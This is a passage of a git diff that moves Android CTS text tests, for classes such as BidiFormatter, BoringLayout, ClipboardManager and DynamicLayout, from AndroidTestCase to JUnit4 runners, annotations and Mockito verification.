+@RunWith(AndroidJUnit4.class)
+public class AndroidCharacterTest {
+    @Test
     public void testConstructor() {
         new AndroidCharacter();
     }
 
+    @Test
     public void testGetDirectionalities() {
         char[] src = new char[128];
         for (int i = 0; i < src.length; i++) {
@@ -45,6 +57,7 @@
         }
     }
 
+    @Test
     public void testGetEastAsianWidth() {
         // LATIN CAPITAL LETTER U WITH CARON (U+01D3)
         assertEquals(AndroidCharacter.EAST_ASIAN_WIDTH_NEUTRAL,
@@ -71,6 +84,7 @@
                 AndroidCharacter.getEastAsianWidth((char)0x319F));
     }
 
+    @Test
     public void testGetEastAsianWidths() {
         char[] src = {
                 0x01D3, 0xFFFD, 0xFF86, 0xFF41, 0x0041, 0x319f,
@@ -104,6 +118,7 @@
         }
     }
 
+    @Test
     public void testGetMirror() {
         assertEquals('A', AndroidCharacter.getMirror('A'));
         assertEquals('B', AndroidCharacter.getMirror('B'));
@@ -113,6 +128,7 @@
         assertEquals('<', AndroidCharacter.getMirror('>'));
     }
 
+    @Test
     public void testMirror() {
         char[] src = new char[64];
         for (int i = 0; i < src.length; i++) {
diff --git a/tests/tests/text/src/android/text/cts/AnnotationTest.java b/tests/tests/text/src/android/text/cts/AnnotationTest.java
index a0d597a..a74bc62 100644
--- a/tests/tests/text/src/android/text/cts/AnnotationTest.java
+++ b/tests/tests/text/src/android/text/cts/AnnotationTest.java
@@ -16,31 +16,36 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Annotation;
 
-public class AnnotationTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AnnotationTest {
 
     private static final String KEY1 = "name";
     private static final String KEY2 = "family name";
     private static final String VALUE1 = "John";
     private static final String VALUE2 = "Smith";
     private static final int NOFLAG = 0;
+
     private Annotation mAnnotation;
 
-    @Override
-    protected void setUp() throws Exception {
-
-        super.setUp();
-        mAnnotation = null;
-    }
-
+    @Test
     public void testConstructor() {
         // new the Annotation instance
         new Annotation(KEY1, VALUE1);
     }
 
+    @Test
     public void testGetValue() {
         // new the Annotation instance
         mAnnotation = new Annotation(KEY1, VALUE1);
@@ -49,6 +54,7 @@
         assertEquals(VALUE2, mAnnotation.getValue());
     }
 
+    @Test
     public void testGetKey() {
         // new the Annotation instance
         mAnnotation = new Annotation(KEY1, VALUE1);
@@ -57,12 +63,14 @@
         assertEquals(KEY2, mAnnotation.getKey());
     }
 
+    @Test
     public void testGetSpanTypeId() {
         mAnnotation = new Annotation(KEY1, VALUE1);
         // Because of the return value is a hide value, we only can assert the return value isn't 0.
         assertTrue(mAnnotation.getSpanTypeId() != 0);
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel dest = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/cts/AutoTextTest.java b/tests/tests/text/src/android/text/cts/AutoTextTest.java
index cbea4d9..e3d1b52 100644
--- a/tests/tests/text/src/android/text/cts/AutoTextTest.java
+++ b/tests/tests/text/src/android/text/cts/AutoTextTest.java
@@ -16,28 +16,52 @@
 
 package android.text.cts;
 
-import java.util.Locale;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.AutoText;
 import android.view.View;
-import android.content.res.Configuration;
 
-public class AutoTextTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.util.Locale;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AutoTextTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+
+        // set locale as English.
+        Locale.setDefault(Locale.ENGLISH);
+        Configuration config = mContext.getResources().getConfiguration();
+        if (!config.locale.equals(Locale.getDefault())) {
+            config.locale = Locale.getDefault();
+            mContext.getResources().updateConfiguration(config, null);
+        }
+    }
+
+    @UiThreadTest
+    @Test
     public void testGet() {
         // Define the necessary sources.
         CharSequence src;
         String actual;
-
-        // set local as English.
-        Locale.setDefault(Locale.ENGLISH);
-        Configuration config = getContext().getResources().getConfiguration();
-        if (!config.locale.equals(Locale.getDefault())) {
-                config.locale = Locale.getDefault();
-                getContext().getResources().updateConfiguration(config, null);
-        }
         // New a View instance.
-        View view = new View(getContext());
+        View view = new View(mContext);
 
         // Test a word key not in the autotext.xml.
         src = "can";
@@ -75,14 +99,10 @@
         assertEquals("can", actual);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetSize() {
-        Locale.setDefault(Locale.ENGLISH);
-        Configuration config = getContext().getResources().getConfiguration();
-        if (!config.locale.equals(Locale.getDefault())) {
-                config.locale = Locale.getDefault();
-                getContext().getResources().updateConfiguration(config, null);
-        }
-        View view = new View(getContext());
+        View view = new View(mContext);
         // Returns the size of the auto text dictionary. Just make sure it is bigger than 0.
         assertTrue(AutoText.getSize(view) > 0);
     }
diff --git a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
index 3e5db4d..bf0d14e 100644
--- a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
+++ b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
@@ -16,13 +16,28 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.icu.util.ULocale;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.BidiFormatter;
+import android.text.SpannableString;
+import android.text.Spanned;
 import android.text.TextDirectionHeuristics;
+import android.text.style.RelativeSizeSpan;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Locale;
 
-public class BidiFormatterTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BidiFormatterTest {
 
     private static final BidiFormatter LTR_FMT = BidiFormatter.getInstance(false /* LTR context */);
     private static final BidiFormatter RTL_FMT = BidiFormatter.getInstance(true /* RTL context */);
@@ -41,6 +56,7 @@
     private static final String RLE = "\u202B";
     private static final String PDF = "\u202C";
 
+    @Test
     public void testIsRtlContext() {
         assertEquals(false, LTR_FMT.isRtlContext());
         assertEquals(true, RTL_FMT.isRtlContext());
@@ -49,6 +65,7 @@
         assertEquals(true, BidiFormatter.getInstance(true).isRtlContext());
     }
 
+    @Test
     public void testCachedInstances() {
         // Test that we get the same cached static instances for simple cases
         BidiFormatter defaultFormatterInstance = BidiFormatter.getInstance();
@@ -61,11 +78,13 @@
         assertEquals(RTL_FMT, BidiFormatter.getInstance(Locale.forLanguageTag("ar")));
     }
 
+    @Test
     public void testBuilderIsRtlContext() {
         assertEquals(false, new BidiFormatter.Builder(false).build().isRtlContext());
         assertEquals(true, new BidiFormatter.Builder(true).build().isRtlContext());
     }
 
+    @Test
     public void testIsRtl() {
         assertEquals(true, BidiFormatter.getInstance(true).isRtl(HE));
         assertEquals(true, BidiFormatter.getInstance(false).isRtl(HE));
@@ -74,6 +93,7 @@
         assertEquals(false, BidiFormatter.getInstance(false).isRtl(EN));
     }
 
+    @Test
     public void testMarkAfter() {
         assertEquals("uniform dir matches LTR context",
                 "", LTR_FMT.markAfter(EN, TextDirectionHeuristics.LTR));
@@ -96,6 +116,7 @@
                 "", RTL_FMT.markAfter(".", TextDirectionHeuristics.RTL));
     }
 
+    @Test
     public void testMarkBefore() {
         assertEquals("uniform dir matches LTR context",
                 "", LTR_FMT.markBefore(EN, TextDirectionHeuristics.LTR));
@@ -118,6 +139,7 @@
                 "", RTL_FMT.markBefore(".", TextDirectionHeuristics.RTL));
     }
 
+    @Test
     public void testUnicodeWrap() {
         // Make sure an input of null doesn't crash anything.
         assertNull(LTR_FMT.unicodeWrap(null));
@@ -233,4 +255,87 @@
                 LRE + HE + EN + HE + PDF,
                 RTL_FMT_EXIT_RESET.unicodeWrap(HE + EN + HE, TextDirectionHeuristics.LTR, false));
     }
+
+    @Test
+    public void testGetStereoReset() {
+        assertTrue(LTR_FMT.getStereoReset());
+        assertTrue(RTL_FMT.getStereoReset());
+        assertFalse(LTR_FMT_EXIT_RESET.getStereoReset());
+        assertFalse(RTL_FMT_EXIT_RESET.getStereoReset());
+    }
+
+    @Test
+    public void testBuilder_construction() {
+        final BidiFormatter defaultFmt = new BidiFormatter.Builder().build();
+        // Test that the default locale and the BidiFormatter's locale have the same direction.
+        assertEquals(ULocale.getDefault().isRightToLeft(), defaultFmt.isRtlContext());
+
+        final BidiFormatter ltrFmt = new BidiFormatter.Builder(false).build();
+        assertFalse(ltrFmt.isRtlContext());
+
+        final BidiFormatter rtlFmt = new BidiFormatter.Builder(true).build();
+        assertTrue(rtlFmt.isRtlContext());
+
+        final BidiFormatter englishFmt = new BidiFormatter.Builder(Locale.ENGLISH).build();
+        assertFalse(englishFmt.isRtlContext());
+
+        final BidiFormatter arabicFmt =
+                new BidiFormatter.Builder(Locale.forLanguageTag("ar")).build();
+        assertTrue(arabicFmt.isRtlContext());
+    }
+
+    @Test
+    public void testBuilder_setTextDirectionHeuristic() {
+        final BidiFormatter defaultFmt = new BidiFormatter.Builder().build();
+        assertFalse(defaultFmt.isRtl(EN + HE + EN));
+
+        final BidiFormatter modifiedFmt = new BidiFormatter.Builder().setTextDirectionHeuristic(
+                TextDirectionHeuristics.ANYRTL_LTR).build();
+        assertTrue(modifiedFmt.isRtl(EN + HE + EN));
+    }
+
+    @Test
+    public void testCharSequenceApis() {
+        final CharSequence CS_HE = new SpannableString(HE);
+        assertEquals(true, BidiFormatter.getInstance(true).isRtl(CS_HE));
+
+        final SpannableString CS_EN_HE = new SpannableString(EN + HE);
+        final Object RELATIVE_SIZE_SPAN = new RelativeSizeSpan(1.2f);
+        CS_EN_HE.setSpan(RELATIVE_SIZE_SPAN, 0, EN.length(), Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+
+        Spanned wrapped;
+        Object[] spans;
+
+        wrapped = (Spanned) LTR_FMT.unicodeWrap(CS_EN_HE);
+        assertEquals(EN + HE + LRM, wrapped.toString());
+        spans = wrapped.getSpans(0, wrapped.length(), Object.class);
+        assertEquals(1, spans.length);
+        assertEquals(RELATIVE_SIZE_SPAN, spans[0]);
+        assertEquals(0, wrapped.getSpanStart(RELATIVE_SIZE_SPAN));
+        assertEquals(EN.length(), wrapped.getSpanEnd(RELATIVE_SIZE_SPAN));
+
+        wrapped = (Spanned) LTR_FMT.unicodeWrap(CS_EN_HE, TextDirectionHeuristics.LTR);
+        assertEquals(EN + HE + LRM, wrapped.toString());
+        spans = wrapped.getSpans(0, wrapped.length(), Object.class);
+        assertEquals(1, spans.length);
+        assertEquals(RELATIVE_SIZE_SPAN, spans[0]);
+        assertEquals(0, wrapped.getSpanStart(RELATIVE_SIZE_SPAN));
+        assertEquals(EN.length(), wrapped.getSpanEnd(RELATIVE_SIZE_SPAN));
+
+        wrapped = (Spanned) LTR_FMT.unicodeWrap(CS_EN_HE, false);
+        assertEquals(EN + HE, wrapped.toString());
+        spans = wrapped.getSpans(0, wrapped.length(), Object.class);
+        assertEquals(1, spans.length);
+        assertEquals(RELATIVE_SIZE_SPAN, spans[0]);
+        assertEquals(0, wrapped.getSpanStart(RELATIVE_SIZE_SPAN));
+        assertEquals(EN.length(), wrapped.getSpanEnd(RELATIVE_SIZE_SPAN));
+
+        wrapped = (Spanned) LTR_FMT.unicodeWrap(CS_EN_HE, TextDirectionHeuristics.LTR, false);
+        assertEquals(EN + HE, wrapped.toString());
+        spans = wrapped.getSpans(0, wrapped.length(), Object.class);
+        assertEquals(1, spans.length);
+        assertEquals(RELATIVE_SIZE_SPAN, spans[0]);
+        assertEquals(0, wrapped.getSpanStart(RELATIVE_SIZE_SPAN));
+        assertEquals(EN.length(), wrapped.getSpanEnd(RELATIVE_SIZE_SPAN));
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index 13465ae..e78fb3e 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -16,19 +16,42 @@
 
 package android.text.cts;
 
+import static com.android.compatibility.common.util.WidgetTestUtils.sameCharSequence;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyFloat;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Paint;
-import android.graphics.Bitmap.Config;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.BoringLayout;
 import android.text.BoringLayout.Metrics;
 import android.text.Layout;
+import android.text.Layout.Alignment;
 import android.text.TextPaint;
 import android.text.TextUtils;
-import android.text.Layout.Alignment;
 
-public class BoringLayoutTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BoringLayoutTest {
     private static final float SPACING_MULT_NO_SCALE = 1.0f;
     private static final float SPACING_ADD_NO_SCALE = 0.0f;
     private static final int DEFAULT_OUTER_WIDTH = 100;
@@ -52,12 +75,12 @@
 
     private BoringLayout mBoringLayout;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mBoringLayout = makeDefaultBoringLayout();
     }
 
+    @Test
     public void testConstructors() {
         new BoringLayout(DEFAULT_CHAR_SEQUENCE,
                 DEFAULT_PAINT,
@@ -88,6 +111,7 @@
         assertEquals(height + METRICS_TOP, boringLayout.getLineDescent(0));
     }
 
+    @Test
     public void testScale() {
         // no scale
         verifyMultAddScale(1.0f, 0.0f);
@@ -105,6 +129,7 @@
         verifyMultAddScale(1.0f, -3.0f);
     }
 
+    @Test
     public void testPreconditions() {
         assertEquals(1, mBoringLayout.getLineCount());
         assertEquals(0, mBoringLayout.getLineTop(0));
@@ -115,7 +140,7 @@
         assertEquals(DEFAULT_CHAR_SEQUENCE.length(), mBoringLayout.getLineStart(10));
         assertEquals(Layout.DIR_LEFT_TO_RIGHT, mBoringLayout.getParagraphDirection(0));
         assertFalse(mBoringLayout.getLineContainsTab(0));
-        assertEquals((float) METRICS_WIDTH, mBoringLayout.getLineMax(0));
+        assertEquals((float) METRICS_WIDTH, mBoringLayout.getLineMax(0), 0.0f);
         assertEquals(Layout.DIR_LEFT_TO_RIGHT, mBoringLayout.getParagraphDirection(0));
         assertEquals(0, mBoringLayout.getEllipsisCount(0));
         mBoringLayout.ellipsized(0, 1);
@@ -124,6 +149,7 @@
         assertEquals(1, mBoringLayout.getEllipsisStart(0));
     }
 
+    @Test
     public void testReplaceOrMake() {
         String source = "This is a SpannableString.";
         BoringLayout layout_1 = mBoringLayout.replaceOrMake(
@@ -153,28 +179,31 @@
     }
 
 
+    @Test
     public void testAlignment() {
         BoringLayout boringLayout = makeBoringLayoutAlign(Layout.Alignment.ALIGN_NORMAL);
-        assertEquals(0.0f, boringLayout.getLineLeft(0));
-        assertEquals((float) DEFAULT_METRICS.width, boringLayout.getLineRight(0));
+        assertEquals(0.0f, boringLayout.getLineLeft(0), 0.0f);
+        assertEquals((float) DEFAULT_METRICS.width, boringLayout.getLineRight(0), 0.0f);
 
         boringLayout = makeBoringLayoutAlign(Layout.Alignment.ALIGN_CENTER);
         int expectedWidth = DEFAULT_OUTER_WIDTH - METRICS_WIDTH;
-        assertEquals((float) expectedWidth / 2, boringLayout.getLineLeft(0));
+        assertEquals((float) expectedWidth / 2, boringLayout.getLineLeft(0), 0.0f);
         expectedWidth = DEFAULT_OUTER_WIDTH + METRICS_WIDTH;
-        assertEquals((float) expectedWidth / 2, boringLayout.getLineRight(0));
+        assertEquals((float) expectedWidth / 2, boringLayout.getLineRight(0), 0.0f);
 
         boringLayout = makeBoringLayoutAlign(Layout.Alignment.ALIGN_OPPOSITE);
         expectedWidth = DEFAULT_OUTER_WIDTH - METRICS_WIDTH;
-        assertEquals((float) expectedWidth, boringLayout.getLineLeft(0));
-        assertEquals((float) DEFAULT_OUTER_WIDTH, boringLayout.getLineRight(0));
+        assertEquals((float) expectedWidth, boringLayout.getLineLeft(0), 0.0f);
+        assertEquals((float) DEFAULT_OUTER_WIDTH, boringLayout.getLineRight(0), 0.0f);
     }
 
+    @Test
     public void testGetLineDescent_withIncludePadding() {
         final int height = METRICS_BOTTOM - METRICS_TOP;
         assertEquals(height + METRICS_TOP, mBoringLayout.getLineDescent(0));
     }
 
+    @Test
     public void testGetLineDescent_withoutIncludePadding() {
         BoringLayout boringLayout = new BoringLayout(
                 DEFAULT_CHAR_SEQUENCE,
@@ -190,6 +219,7 @@
         assertEquals(height + METRICS_ASCENT, boringLayout.getLineDescent(0));
     }
 
+    @Test
     public void testIncludePadding() {
         assertEquals(METRICS_TOP - METRICS_ASCENT, mBoringLayout.getTopPadding());
         assertEquals(METRICS_BOTTOM - METRICS_DESCENT, mBoringLayout.getBottomPadding());
@@ -210,6 +240,7 @@
         assertEquals(METRICS_DESCENT - METRICS_ASCENT, boringLayout.getHeight());
     }
 
+    @Test
     public void testIsBoringString() {
         TextPaint paint = new TextPaint();
         assertNotNull(BoringLayout.isBoring("hello android", paint));
@@ -226,6 +257,7 @@
         assertNull(BoringLayout.isBoring("hello android\n\n\n", paint));
     }
 
+    @Test
     public void testIsBoring_resetsFontMetrics() {
         int someInt = 100;
         String text = "some text";
@@ -251,11 +283,13 @@
         assertEquals(expectedMetrics.leading, actualMetrics.leading);
     }
 
+    @Test
     public void testGetLineDirections() {
         assertNotNull(mBoringLayout.getLineDirections(0));
         assertNotNull(mBoringLayout.getLineDirections(2));
     }
 
+    @Test
     public void testMake() {
         BoringLayout boringLayout = BoringLayout.make(DEFAULT_CHAR_SEQUENCE,
                 DEFAULT_PAINT,
@@ -267,7 +301,6 @@
                 true);
         assertNotNull(boringLayout);
 
-        boringLayout = null;
         boringLayout = BoringLayout.make(DEFAULT_CHAR_SEQUENCE,
                 DEFAULT_PAINT,
                 DEFAULT_OUTER_WIDTH,
@@ -281,8 +314,9 @@
         assertNotNull(boringLayout);
     }
 
+    @Test
     public void testDraw() {
-        BoringLayout boringLayout = BoringLayout.make((String)DEFAULT_CHAR_SEQUENCE,
+        BoringLayout boringLayout = BoringLayout.make(DEFAULT_CHAR_SEQUENCE,
                 DEFAULT_PAINT,
                 DEFAULT_OUTER_WIDTH,
                 Alignment.ALIGN_NORMAL,
@@ -291,24 +325,24 @@
                 DEFAULT_METRICS,
                 true);
 
-        Bitmap mMutableBitmap = Bitmap.createBitmap(10, 28, Config.ARGB_8888);
-        MockCanvas c = new MockCanvas(mMutableBitmap);
-        boringLayout.draw(c, null, null, 0);
-        assertTrue(c.isCanvasCalling);
-    }
+        Bitmap mutableBitmap = Bitmap.createBitmap(10, 28, Config.ARGB_8888);
+        Canvas canvas = spy(new Canvas(mutableBitmap));
+        boringLayout.draw(canvas, null, null, 0);
+        verify(canvas, times(1)).drawText(eq(DEFAULT_CHAR_SEQUENCE.toString()),
+                anyFloat(), anyFloat(), any(Paint.class));
 
-    private class MockCanvas extends Canvas {
-        public boolean isCanvasCalling = false;
-
-        public MockCanvas(Bitmap bitmap) {
-            super(bitmap);
-        }
-
-        @Override
-        public void drawText(String text, float x, float y, Paint paint) {
-            super.drawText(text, x, y, paint);
-            isCanvasCalling = true;
-        }
+        reset(canvas);
+        boringLayout = BoringLayout.make(DEFAULT_CHAR_SEQUENCE,
+                DEFAULT_PAINT,
+                DEFAULT_OUTER_WIDTH,
+                Alignment.ALIGN_OPPOSITE,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                DEFAULT_METRICS,
+                true);
+        boringLayout.draw(canvas, null, null, 0);
+        verify(canvas, times(1)).drawText(sameCharSequence(DEFAULT_CHAR_SEQUENCE),
+                anyInt(), anyInt(), anyFloat(), anyFloat(), any(Paint.class));
     }
 
     private static Metrics createMetrics(
@@ -331,7 +365,7 @@
         return metrics;
     }
 
-    private BoringLayout makeDefaultBoringLayout(){
+    private static BoringLayout makeDefaultBoringLayout() {
         return new BoringLayout(DEFAULT_CHAR_SEQUENCE,
                                 DEFAULT_PAINT,
                                 DEFAULT_OUTER_WIDTH,
@@ -342,7 +376,7 @@
                                 true);
     }
 
-    private BoringLayout makeBoringLayout(float spacingMult,float spacingAdd){
+    private static BoringLayout makeBoringLayout(float spacingMult,float spacingAdd) {
         return new BoringLayout(DEFAULT_CHAR_SEQUENCE,
                                 DEFAULT_PAINT,
                                 DEFAULT_OUTER_WIDTH,
@@ -353,7 +387,7 @@
                                 true);
     }
 
-    private BoringLayout makeBoringLayoutAlign(Alignment align){
+    private static BoringLayout makeBoringLayoutAlign(Alignment align) {
         return new BoringLayout(DEFAULT_CHAR_SEQUENCE,
                                 DEFAULT_PAINT,
                                 DEFAULT_OUTER_WIDTH,
diff --git a/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java b/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
index 141ff023..3dc4b73 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
@@ -16,11 +16,19 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertNotNull;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.BoringLayout;
 
-public class BoringLayout_MetricsTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BoringLayout_MetricsTest {
+    @Test
     public void testMetrics() {
         BoringLayout.Metrics bm = new BoringLayout.Metrics();
         assertNotNull(bm.toString());
diff --git a/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java b/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
index f0fc0fa..0073c42 100644
--- a/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
+++ b/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
@@ -16,47 +16,55 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.ClipboardManager;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ClipboardManager}.
  */
-public class ClipboardManagerTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ClipboardManagerTest {
+    private ClipboardManager mClipboardManager;
 
-    private Context mContext;
-
-    @Override
-    public void setUp() {
-        mContext = getInstrumentation().getContext();
+    @UiThreadTest
+    @Before
+    public void setup() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        mClipboardManager = (ClipboardManager) context.getSystemService(Context.CLIPBOARD_SERVICE);
     }
 
     @UiThreadTest
+    @Test
     public void testAccessText() {
-        ClipboardManager clipboardManager =
-                (ClipboardManager) mContext.getSystemService(Context.CLIPBOARD_SERVICE);
-
         // set the expected value
         CharSequence expected = "test";
-        clipboardManager.setText(expected);
-        assertEquals(expected, clipboardManager.getText());
+        mClipboardManager.setText(expected);
+        assertEquals(expected, mClipboardManager.getText());
     }
 
     @UiThreadTest
+    @Test
     public void testHasText() {
-        ClipboardManager clipboardManager =
-                (ClipboardManager) mContext.getSystemService(Context.CLIPBOARD_SERVICE);
+        mClipboardManager.setText("");
+        assertFalse(mClipboardManager.hasText());
 
-        clipboardManager.setText("");
-        assertFalse(clipboardManager.hasText());
+        mClipboardManager.setText("test");
+        assertTrue(mClipboardManager.hasText());
 
-        clipboardManager.setText("test");
-        assertTrue(clipboardManager.hasText());
-
-        clipboardManager.setText(null);
-        assertFalse(clipboardManager.hasText());
+        mClipboardManager.setText(null);
+        assertFalse(mClipboardManager.hasText());
     }
 }
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 6ef1299..426200b 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -16,23 +16,36 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.graphics.Paint.FontMetricsInt;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.DynamicLayout;
 import android.text.Layout;
 import android.text.TextPaint;
 import android.text.TextUtils;
 
-public class DynamicLayoutTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    protected static final float SPACING_MULT_NO_SCALE = 1.0f;
-    protected static final float SPACING_ADD_NO_SCALE = 0.0f;
-    protected static final int DEFAULT_OUTER_WIDTH = 150;
-    protected static final CharSequence SINGLELINE_CHAR_SEQUENCE = "......";
-    protected static final String[] TEXT = {"CharSequence\n", "Char\tSequence\n", "CharSequence"};
-    protected static final CharSequence MULTLINE_CHAR_SEQUENCE = TEXT[0] + TEXT[1] + TEXT[2];
-    protected static final Layout.Alignment DEFAULT_ALIGN = Layout.Alignment.ALIGN_CENTER;
-    protected TextPaint mDefaultPaint;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DynamicLayoutTest {
+
+    private static final float SPACING_MULT_NO_SCALE = 1.0f;
+    private static final float SPACING_ADD_NO_SCALE = 0.0f;
+    private static final int DEFAULT_OUTER_WIDTH = 150;
+    private static final CharSequence SINGLELINE_CHAR_SEQUENCE = "......";
+    private static final String[] TEXT = {"CharSequence\n", "Char\tSequence\n", "CharSequence"};
+    private static final CharSequence MULTLINE_CHAR_SEQUENCE = TEXT[0] + TEXT[1] + TEXT[2];
+    private static final Layout.Alignment DEFAULT_ALIGN = Layout.Alignment.ALIGN_CENTER;
+    private TextPaint mDefaultPaint;
 
     private static final int LINE0 = 0;
     private static final int LINE0_TOP = 0;
@@ -44,9 +57,8 @@
 
     private DynamicLayout mDynamicLayout;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mDefaultPaint = new TextPaint();
         mDynamicLayout = new DynamicLayout(MULTLINE_CHAR_SEQUENCE,
                 mDefaultPaint,
@@ -57,6 +69,7 @@
                 true);
     }
 
+    @Test
     public void testConstructors() {
         new DynamicLayout(SINGLELINE_CHAR_SEQUENCE,
                 MULTLINE_CHAR_SEQUENCE,
@@ -85,6 +98,7 @@
                 true);
     }
 
+    @Test
     public void testEllipsis() {
         final DynamicLayout dynamicLayout = new DynamicLayout(SINGLELINE_CHAR_SEQUENCE,
                 MULTLINE_CHAR_SEQUENCE,
@@ -106,6 +120,7 @@
      * 1. Include padding while calculate the layout.
      * 2. Don't include padding while calculate the layout.
      */
+    @Test
     public void testIncludePadding() {
         final FontMetricsInt fontMetricsInt = mDefaultPaint.getFontMetricsInt();
 
@@ -137,6 +152,7 @@
      * Test the line top
      * 1. the Y-coordinate of line top.2. the Y-coordinate of baseline.
      */
+    @Test
     public void testLineLayout() {
         assertEquals(TEXT.length, mDynamicLayout.getLineCount());
         assertFalse(mDynamicLayout.getLineContainsTab(LINE0));
diff --git a/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java b/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
index 8dde216..aa42505 100644
--- a/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
+++ b/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
@@ -16,31 +16,37 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
-import android.text.SpannableStringBuilder;
 import android.text.Editable.Factory;
+import android.text.SpannableStringBuilder;
 
-public class Editable_FactoryTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    Factory mFactory;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Editable_FactoryTest {
+    private Factory mFactory;
 
+    @Test
     public void testNewEditable() {
-
         CharSequence source = "abc";
         // set the expected value
         Editable expected = new SpannableStringBuilder(source);
 
-        // new the Factory instance
         mFactory = new Editable.Factory();
